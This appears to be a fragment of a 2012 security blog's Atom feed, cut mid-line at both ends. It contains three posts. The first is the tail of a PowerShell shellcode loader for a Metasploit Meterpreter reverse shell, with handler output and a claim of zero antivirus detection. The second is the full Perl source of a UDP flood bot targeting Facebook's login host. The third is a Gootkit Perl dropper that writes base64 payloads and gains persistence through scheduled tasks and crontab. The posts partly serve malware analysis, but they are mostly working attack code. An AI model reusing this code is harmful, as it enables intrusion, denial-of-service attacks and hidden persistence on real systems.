0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum103&quot;&gt; 103:&lt;/span&gt; # Allocate memory &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum104&quot;&gt; 104:&lt;/span&gt; $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum105&quot;&gt; 105:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum106&quot;&gt; 106:&lt;/span&gt; # build it in memory&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum107&quot;&gt; 107:&lt;/span&gt; for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum108&quot;&gt; 108:&lt;/span&gt; Try {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum109&quot;&gt; 109:&lt;/span&gt;         $winFunc::CreateThread(0,0,$x,0,0,0)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum110&quot;&gt; 110:&lt;/span&gt;         sleep 100000&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum111&quot;&gt; 111:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum112&quot;&gt; 112:&lt;/span&gt; Catch&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum113&quot;&gt; 113:&lt;/span&gt;  {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum114&quot;&gt; 114:&lt;/span&gt;   [system.exception]&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum115&quot;&gt; 115:&lt;/span&gt;   &quot;caught a system exception&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum116&quot;&gt; 116:&lt;/span&gt;  }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;Make sure the metasploit server is running with multi/handler and call the script from within powershell with: &amp;amp; .\Desktop\powershellcode1.ps1 .&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Enjoy a 0 detection metasploit shell.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;[*] Started HTTPS reverse handler on &lt;a href=&quot;https://178.32.xxx.xxx:8443/&quot;&gt;https://178.32.xxx.xxx:8443/&lt;/a&gt;&lt;br&gt;[*] Exploit running as background job.&lt;br&gt;[*] Starting the payload handler...&lt;br&gt;[*] 94.68.xxx.xxx:27789 Request received for /Zbi7...&lt;br&gt;[*] 94.68.xxx.xxx:27789 Staging connection for target /Zbi7 received...&lt;br&gt;[*] Patched transport at offset 486516...&lt;br&gt;[*] Patched URL at offset 486248...&lt;br&gt;[*] Patched Expiration Timeout at offset 641856...&lt;br&gt;[*] Patched Communication Timeout at offset 641860...&lt;br&gt;[*] Meterpreter session 4 opened (178.32.xxx.xxx:8443 -&amp;gt; 94.68.xxx.xxx:27789) at Wed Apr 11 13:16:17 +0300 2012&lt;/p&gt;&lt;br /&gt;&lt;p&gt;msf&amp;nbsp; exploit(handler) &amp;gt; &lt;/p&gt;  </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/8721642323815018605/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2012/04/powershell-metasploit-meterpreter-and.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/8721642323815018605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/8721642323815018605'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2012/04/powershell-metasploit-meterpreter-and.html' title='Powershell, metasploit meterpreter and dns.'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-2351273135552238820</id><published>2012-03-07T10:31:00.001+02:00</published><updated>2012-03-07T10:31:02.786+02:00</updated><title type='text'>Facebook flood bots</title><content type='html'>&lt;p&gt;Together with the flood bots that I noticed and wrote about in a previews post, there was a flood bot specifically created to target facebook logins. From the coding style and some similarities it looks like it’s written from the same people that created ‘Gootkit ddos system’. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;The code, &lt;/p&gt; &lt;p&gt;#!/usr/bin/perl&lt;/p&gt; &lt;p&gt;use Fcntl qw(:flock :DEFAULT);&amp;nbsp; &lt;br&gt;use Socket;&lt;/p&gt; &lt;p&gt;use IO::Socket;&lt;/p&gt; &lt;p&gt;use IO::Select;&lt;/p&gt; &lt;p&gt;&lt;br&gt;print &quot;Content-type: text/plain\n\n&quot;;&lt;br&gt;print &quot;Decepticons ahead!&quot;;&lt;/p&gt; &lt;p&gt;# Set target parameters&lt;/p&gt; &lt;p&gt;my $targetHost = &quot;login.facebook.com&quot;;&lt;br&gt;my $targetPort = &quot;80&quot;;&lt;br&gt;my $targetPacketSize = &quot;1024&quot;;&lt;br&gt;my $threads&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = 10;&lt;/p&gt; &lt;p&gt;############################################&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;my $os = $^O;&lt;br&gt;my $child = undef;&lt;/p&gt; &lt;p&gt;$SIG{&#39;INT&#39;} = &#39;IGNORE&#39;;&lt;br&gt;$SIG{&#39;HUP&#39;} = &#39;IGNORE&#39;;&lt;br&gt;$SIG{&#39;TERM&#39;} = &#39;IGNORE&#39;;&lt;br&gt;#$SIG{&#39;CHLD&#39;} = &#39;IGNORE&#39;;&lt;br&gt;$SIG{&#39;PS&#39;} = &#39;IGNORE&#39;;&lt;/p&gt; &lt;p&gt;my $pid=fork;&lt;/p&gt; &lt;p&gt;if ($pid) {&lt;br&gt;#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;kill parent $$\n&quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit;&lt;br&gt;}&lt;/p&gt; &lt;p&gt;main ();&lt;/p&gt; &lt;p&gt;&lt;br&gt;sub main {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $arg = $_[0];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($arg eq &quot;iamchild&quot;){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; udpflooder($targetHost, $targetPort, $targetPacketSize);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (my $i=0; $i&amp;lt;$threads; $i++)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $thread = fork;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($thread == 0){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #child&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; main(&quot;iamchild&quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else {&amp;nbsp; #parent&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; next;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;}&lt;br&gt;#udpflooder($targetHost, $targetPort, $targetPacketSize);&lt;br&gt;sub genGarbage {&lt;/p&gt; &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $len = $_[0];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $chars = &quot;abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&amp;amp;*()_+|\=-~`1234567890&quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $garbage = &#39;&#39;;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for my $i (0..$len){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $symbol = substr $chars, int rand length($chars), 1;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $garbage .= $symbol;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return $garbage;&lt;/p&gt; &lt;p&gt;}&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;sub udpflooder {&lt;/p&gt; &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $child = fork;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($child == 0){&lt;/p&gt; &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $iaddr = inet_aton($_[0]);&amp;nbsp;&amp;nbsp; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $host = $_[0];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $porta = $_[1];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $packetSize = $_[2];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $msg = genGarbage($packetSize);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; my $socketUdp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; socket($socketUdp, PF_INET, SOCK_DGRAM, getprotobyname(&#39;udp&#39;)) or return(undef);&lt;/p&gt; &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (1) &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; send($socketUdp, $msg, 0, sockaddr_in($porta, $iaddr));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;}&lt;/p&gt;  </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/2351273135552238820/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2012/03/facebook-flood-bots.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/2351273135552238820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/2351273135552238820'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2012/03/facebook-flood-bots.html' title='Facebook flood bots'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-691961191617294679</id><published>2012-03-06T22:27:00.001+02:00</published><updated>2012-03-06T22:27:36.368+02:00</updated><title type='text'>Perl bots recently found</title><content type='html'>&lt;p&gt;It’s been awhile since I my last post but work is pressing these days and I’m trying to push my new website for public awareness in the .gr tld over the hacking scene and hacked domains. The new blog and soon website can be found at &lt;a href=&quot;http://www.my-audit.gr&quot;&gt;http://www.my-audit.gr&lt;/a&gt; and &lt;a href=&quot;http://www.my-audit.gr/blog&quot;&gt;http://www.my-audit.gr/blog&lt;/a&gt;. Still this blog will remain as personal and general about security issues.&amp;#160; &lt;/p&gt;  &lt;p&gt;Few days ago I had a problem with some servers mainly due to high outgoing traffic, client ask to monitor the systems and find what is wrong on them.&amp;#160; After a brief check I spotted the perl bots running in the system and causing the problems. The specific bot (part of the Gootkit ddos system)&amp;#160; it was the first time that I had the chance to locate. Interesting part is that the bot can run bot on windows and on linux systems, dropping the correct payload based on the operating system. &lt;/p&gt;  &lt;p&gt;OS detection:&lt;/p&gt;  &lt;p&gt;#!/usr/bin/perl   &lt;br /&gt;use strict;    &lt;br /&gt;use warnings;    &lt;br /&gt;use MIME::Base64;    &lt;br /&gt;print &amp;quot;Content-type: text/plain\n\n&amp;quot;;&lt;/p&gt;  &lt;p&gt;my $os = $^O;   &lt;br /&gt;print &amp;quot;$os\n&amp;quot;;    &lt;br /&gt;if ($os eq &amp;quot;MSWin32&amp;quot;) {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; my $temp = `echo %temp%`;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; chomp $temp;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; my $botfile = $temp.&amp;quot;\\~PIF3E6.tmp.pl&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; `cd $temp`;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; open(BODY, &amp;quot;&amp;gt;&amp;quot;, $botfile);&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160; print BODY decode_base64(&amp;quot; _LONG TEXT_”)&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160; close(BODY);&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; my $pid = fork;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; if ($pid eq 0){    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; `schtasks /delete /f /tn perl`;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; `schtasks /create /tr \&amp;quot;perl $botfile\&amp;quot; /tn perl /sc MINUTE /mo 1`;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; `perl $botfile`;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; exit;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; `perl $botfile`;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; exit;    &lt;br /&gt;}    &lt;br /&gt;#linux    &lt;br /&gt;open(OLD_UNIX, &amp;quot;&amp;gt;&amp;quot;, &amp;quot;/tmp/.X11-unix&amp;quot;);&lt;/p&gt;  &lt;p&gt;print OLD_UNIX decode_base64(&amp;quot; _LONG_TEXT” ) &lt;/p&gt;  &lt;p&gt;close(OLD_UNIX);   &lt;br /&gt;system(&amp;quot;echo &#39;* * * * * perl /tmp/.X11-unix &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&#39; &amp;gt; /tmp/cron.d ; crontab /tmp/cron.d ; rm /tmp/cron.d&amp;quot;);    &lt;br /&gt;system(&amp;quot;perl 